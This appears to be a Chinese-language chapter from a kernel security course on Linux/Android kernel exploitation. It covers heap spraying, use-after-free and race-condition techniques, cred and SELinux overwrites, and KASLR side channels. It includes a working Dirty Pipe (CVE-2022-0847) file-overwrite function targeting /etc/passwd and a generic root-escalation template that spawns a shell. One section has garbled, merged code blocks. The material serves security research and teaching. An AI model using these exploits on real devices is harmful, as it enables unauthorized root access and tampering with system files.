Skip to content

5x05 - Kernel Exploitation Techniques

内核漏洞利用的目标通常是获取 Root 权限并绕过 SELinux。

本章聚焦"研究视角的利用链评估":给定一个内核 bug,如何判断其影响面、可利用性与被缓解机制阻断的位置。

1. 利用链模型

1.1 典型利用链阶段

[漏洞触发] → [原语构造] → [信息泄露] → [任意读写] → [提权] → [持久化]
    ↓            ↓           ↓           ↓          ↓         ↓
  稳定复现    OOB/UAF     bypass KASLR   堆布局    修改cred   SELinux
  1. 触发与稳定复现:在受控环境里稳定触发(避免不确定竞态)
  2. 能力原语确认:bug 能提供什么能力(越界读写、UAF、任意读写、信息泄露等)
  3. 绕过/对抗缓解:KASLR/CFI/PAN/PXN/PAC/MTE 等会在不同位置打断链路
  4. 权限边界影响评估:是否能从应用域跨到更高权限(含 SELinux domain)
  5. 持久化与后续影响评估:是否影响 boot chain、是否可跨重启、是否破坏数据完整性

1.2 漏洞类型与原语映射

漏洞类型直接原语典型转换目标
堆溢出 (Heap Overflow)相邻对象覆写任意写、类型混淆
Use-After-Free悬空指针读写任意读写、代码执行
栈溢出 (Stack Overflow)返回地址覆写ROP 链
越界读 (OOB Read)信息泄露KASLR bypass
整数溢出大小计算错误堆溢出
条件竞争 (Race Condition)TOCTOUUAF、double-free
空指针解引用受限读写特定条件下可利用

2. 核心利用技术

2.1 堆利用基础

SLUB 分配器结构

c
// Linux SLUB 空闲链表
struct kmem_cache {
    struct kmem_cache_cpu *cpu_slab;
    // ...
};

// 空闲对象通过 freelist 指针链接
// 对象布局:
┌─────────────────────────────────────┐
│  freelist ptr  │  object data ...   │
└─────────────────────────────────────┘

堆喷射 (Heap Spray)

c
// 目标:用可控内容占用释放的内存
// 常用对象:

// 1. msg_msg - 可变大小,用户可控内容
struct msgbuf {
    long mtype;
    char mtext[size];  // 用户控制内容
};

// 喷射代码
for (int i = 0; i < SPRAY_COUNT; i++) {
    msgsnd(msgq_id, &msg, sizeof(msg.mtext), 0);
}

// 2. sk_buff - 网络包,灵活大小
// 3. pipe_buffer - 管道缓冲区
// 4. setxattr - 可控大小的临时分配

Cross-cache 攻击

c
// 当目标对象和可控对象不在同一 slab cache 时
// 需要耗尽目标 cache,触发 buddy allocator 合并/拆分

// 步骤:
// 1. 大量分配目标 cache 对象,填满所有 slab
// 2. 释放目标对象,触发 slab 回收到 buddy
// 3. 分配可控对象,从 buddy 获取同一页面

2.2 UAF 利用模式

经典 UAF 利用流程

c
// 1. 分配目标对象
struct target_struct *target = kmalloc(sizeof(*target), GFP_KERNEL);

// 2. 触发释放 (漏洞)
kfree(target);  // target 变成悬空指针

// 3. 重新占用 (堆喷射)
// 用 msg_msg 占用相同大小的内存
struct msgbuf *msg = /* 准备伪造数据 */;
msgsnd(msgq_id, msg, TARGET_SIZE - sizeof(long), 0);

// 4. 通过悬空指针操作伪造对象
target->func_ptr();  // 如果 func_ptr 被我们控制...

// 利用策略: // 1. 创建 binder_thread // 2. 触发 epoll_ctl 引用 binder_thread->wait // 3. 调用 BINDER_THREAD_EXIT 释放 binder_thread // 4. 用 iovec 结构占用释放的内存 // 5. 触发 epoll 回调,操作伪造的 wait queue entry

// 关键:iovec 的 iov_base 指向任意地址 struct iovec { void *iov_base; // 控制这个 = 任意地址读写 size_t iov_len; };


### 2.3 条件竞争利用

**竞争窗口扩展技术**:
```c
// 问题:竞争窗口太小,难以稳定触发
// 解决:通过各种技术扩大窗口

// 1. userfaultfd - 用户空间页面错误处理
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC);
struct uffdio_api api = {.api = UFFD_API};
ioctl(uffd, UFFDIO_API, &api);

// 注册监控区域
struct uffdio_register reg = {
    .range = {.start = addr, .len = PAGE_SIZE},
    .mode = UFFDIO_REGISTER_MODE_MISSING
};
ioctl(uffd, UFFDIO_REGISTER, &reg);

// 当内核访问该区域时,会阻塞等待用户空间处理
// 在处理函数中可以执行竞争操作

// 2. FUSE - 控制文件系统操作时机
// 3. CPU 亲和性 - 控制线程调度

CVE-2025-38352 (Chronomaly) 完整利用

c
// 漏洞:POSIX CPU 定时器竞争条件
// kernel/time/posix-cpu-timers.c

// 竞争场景:
// Thread A: exit() → 进程变成僵尸 → task_struct 可被释放
// Thread B: handle_posix_cpu_timers() 仍在访问 task_struct

// 利用步骤:

// 1. 创建大量线程扩大竞争窗口
#define THREAD_COUNT 1000
for (int i = 0; i < THREAD_COUNT; i++) {
    pthread_create(&threads[i], NULL, racer_thread, NULL);
}

// 2. 设置 CPU 定时器
struct itimerspec its = {
    .it_value = {.tv_sec = 0, .tv_nsec = 1},
    .it_interval = {.tv_sec = 0, .tv_nsec = 1}
};
timer_settime(timer_id, 0, &its, NULL);

// 3. 快速 fork + exit 制造僵尸进程
while (1) {
    pid_t pid = fork();
    if (pid == 0) {
        _exit(0);  // 子进程立即退出
    }
    // 不 wait,让其变成僵尸
}

// 4. 堆喷射占用释放的 task_struct
// 使用 sendmsg + msg_msg 结构

// 5. 当定时器回调触发时,操作伪造的 task_struct
// 构造 cred 指针指向用户可控区域

2.4 数据流攻击 (Data-Only Attacks)

现代缓解 (CFI/PAC) 使控制流劫持困难,数据流攻击成为主流:

修改 cred 结构

c
// 目标:直接修改进程凭证
struct cred {
    atomic_t usage;
    kuid_t uid;      // offset: 4
    kgid_t gid;      // offset: 8
    // ...
    kernel_cap_t cap_inheritable;
    kernel_cap_t cap_permitted;
    kernel_cap_t cap_effective;  // offset: 40
    // ...
};

// 利用任意写原语
void priv_escalate(uint64_t cred_addr) {
    // 清零 uid/gid
    arb_write_32(cred_addr + 4, 0);   // uid = 0
    arb_write_32(cred_addr + 8, 0);   // gid = 0
    
    // 设置 full capabilities
    arb_write_64(cred_addr + 40, 0xffffffffffffffffULL);
}

// 如何找到 cred 地址?
// 1. 泄露 current task_struct 地址
// 2. 读取 task->cred 指针

修改 SELinux 上下文

c
// SELinux 上下文存储在 task_struct->cred->security
// 对于 Android:
struct task_security_struct {
    u32 osid;        // 原始 SID
    u32 sid;         // 当前 SID
    u32 exec_sid;    // exec() 时使用的 SID
    // ...
};

// 修改为特权域
// u:r:kernel:s0 的 SID 值可通过 /sys/fs/selinux 查询

修改文件描述符表

c
// 通过修改 fd table 获得特权文件访问
struct fdtable {
    unsigned int max_fds;
    struct file **fd;  // 文件指针数组
    // ...
};

// 替换 fd[x] 指向特权文件的 struct file

3. KASLR Bypass 技术

3.1 信息泄露源

c
// 常见内核地址泄露来源

// 1. /proc 接口泄露
// 某些接口在打印时包含内核指针
cat /proc/timer_list  // 历史上曾泄露

// 2. 未初始化内存
struct leaked {
    void *kernel_ptr;  // 未清零
    char user_data[64];
};
// 读取 kernel_ptr 获得地址

// 3. 格式化字符串
// 内核 printk 可能打印指针
printk("%p\n", kernel_ptr);  // 现代内核会 hash

// 4. 越界读
// OOB read 读取相邻对象的指针字段

3.2 侧信道泄露

c
// Prefetch 时间侧信道
static inline uint64_t rdtsc_begin() {
    uint32_t lo, hi;
    asm volatile("mfence; rdtsc" : "=a"(lo), "=d"(hi));
    return ((uint64_t)hi << 32) | lo;
}

int probe_kernel_address(void *addr) {
    uint64_t t1, t2;
    t1 = rdtsc_begin();
    
    // ARM: 使用 prfm 指令
    // x86: 使用 prefetch 指令
    asm volatile("prefetcht0 (%0)" : : "r"(addr));
    
    t2 = rdtsc_begin();
    return (t2 - t1) < THRESHOLD;  // 映射地址更快
}

// 扫描可能的内核基址
for (uint64_t base = KERNEL_MIN; base < KERNEL_MAX; base += 0x200000) {
    if (probe_kernel_address((void *)base)) {
        printf("Found kernel at: 0x%lx\n", base);
        break;
    }
}

4. 完整利用案例

4.1 CVE-2022-0847 (Dirty Pipe)

漏洞原理

c
// pipe 缓冲区标志位未正确初始化
// 可以向任意文件写入数据(绕过权限检查)

// 漏洞位置:fs/pipe.c
// copy_page_to_iter_pipe() 设置 PIPE_BUF_FLAG_CAN_MERGE
// 但在某些路径下该标志未清除

// 利用:让 pipe 缓冲区指向目标文件的 page cache
// 然后写入数据,直接修改文件内容

利用代码

c
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>

void dirty_pipe_write(const char *path, loff_t offset, 
                      const char *data, size_t len) {
    // 1. 打开目标文件(只需读权限)
    int fd = open(path, O_RDONLY);
    
    // 2. 创建 pipe
    int pfd[2];
    pipe(pfd);
    
    // 3. 填满 pipe 缓冲区
    const size_t pipe_size = fcntl(pfd[1], F_GETPIPE_SZ);
    static char buf[4096];
    for (size_t i = 0; i < pipe_size / sizeof(buf); i++) {
        write(pfd[1], buf, sizeof(buf));
    }
    
    // 4. 清空 pipe(留下带 MERGE 标志的缓冲区)
    for (size_t i = 0; i < pipe_size / sizeof(buf); i++) {
        read(pfd[0], buf, sizeof(buf));
    }
    
    // 5. splice 目标文件到 pipe
    // 这会让 pipe 缓冲区指向文件的 page cache
    loff_t off = offset;
    splice(fd, &off, pfd[1], NULL, 1, 0);
    
    // 6. 写入数据 - 由于 MERGE 标志,直接写入 page cache!
    write(pfd[1], data, len);
    
    close(fd);
    close(pfd[0]);
    close(pfd[1]);
}

// 利用示例:修改 /etc/passwd 提权
dirty_pipe_write("/etc/passwd", 
                 offset_of_root_entry + 5,  // 'x' in "root:x:0:0:..."
                 "",  // 清空密码字段
                 1);

4.2 通用 Android 提权模板

c
// 通用内核提权框架
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/syscall.h>

// 全局变量
uint64_t kernel_base;
uint64_t current_task;
uint64_t init_cred;

// Step 1: 信息泄露
int leak_kernel_base() {
    // 实现特定漏洞的地址泄露
    // 或使用侧信道技术
    return 0;
}

// Step 2: 获取任意读写原语
uint64_t arb_read_64(uint64_t addr);
void arb_write_64(uint64_t addr, uint64_t val);

// Step 3: 定位关键结构
uint64_t find_current_task() {
    // 方法1: 读取 per-cpu 变量
    // 方法2: 遍历 task 链表
    // 方法3: 从已知地址计算
    return 0;
}

// Step 4: 提权
void escalate_privileges() {
    uint64_t cred = arb_read_64(current_task + CRED_OFFSET);
    
    // 修改 uid/gid
    arb_write_64(cred + UID_OFFSET, 0);  // uid = 0
    arb_write_64(cred + GID_OFFSET, 0);  // gid = 0
    
    // 设置 capabilities
    arb_write_64(cred + CAP_OFFSET, 0xffffffffffffffffULL);
    
    // 修改 SELinux context (可选)
    // ...
}

// Step 5: 执行特权操作
void post_exploit() {
    // 验证提权成功
    if (getuid() == 0) {
        printf("[+] Got root!\n");
        system("/bin/sh");
    }
}

int main() {
    printf("[*] Starting exploit...\n");
    
    // 泄露地址
    if (leak_kernel_base() < 0) {
        printf("[-] Failed to leak kernel base\n");
        return 1;
    }
    printf("[+] Kernel base: 0x%lx\n", kernel_base);
    
    // 定位当前进程
    current_task = find_current_task();
    printf("[+] Current task: 0x%lx\n", current_task);
    
    // 提权
    escalate_privileges();
    
    // 执行 shell
    post_exploit();
    
    return 0;
}

5. 可利用性评估清单

评估维度关键问题评分依据
触发可控性是否需要特殊权限?是否可远程触发?无特权本地触发 > 需 ADB > 需物理接触
原语强度信息泄露/有限写/任意读写?任意读写 > 有限写 > 信息泄露
稳定性竞争条件?堆布局依赖?确定性触发 > 高概率 > 需要爆破
缓解状态目标设备启用了哪些缓解?需逐一评估 KASLR/CFI/MTE/PAC
影响范围影响版本/设备数量?通用漏洞 > 特定版本 > 特定设备
检测难度是否产生明显日志?静默利用 > 单次崩溃 > 多次崩溃

6. 参考资源

漏洞数据库

技术文档

学习资源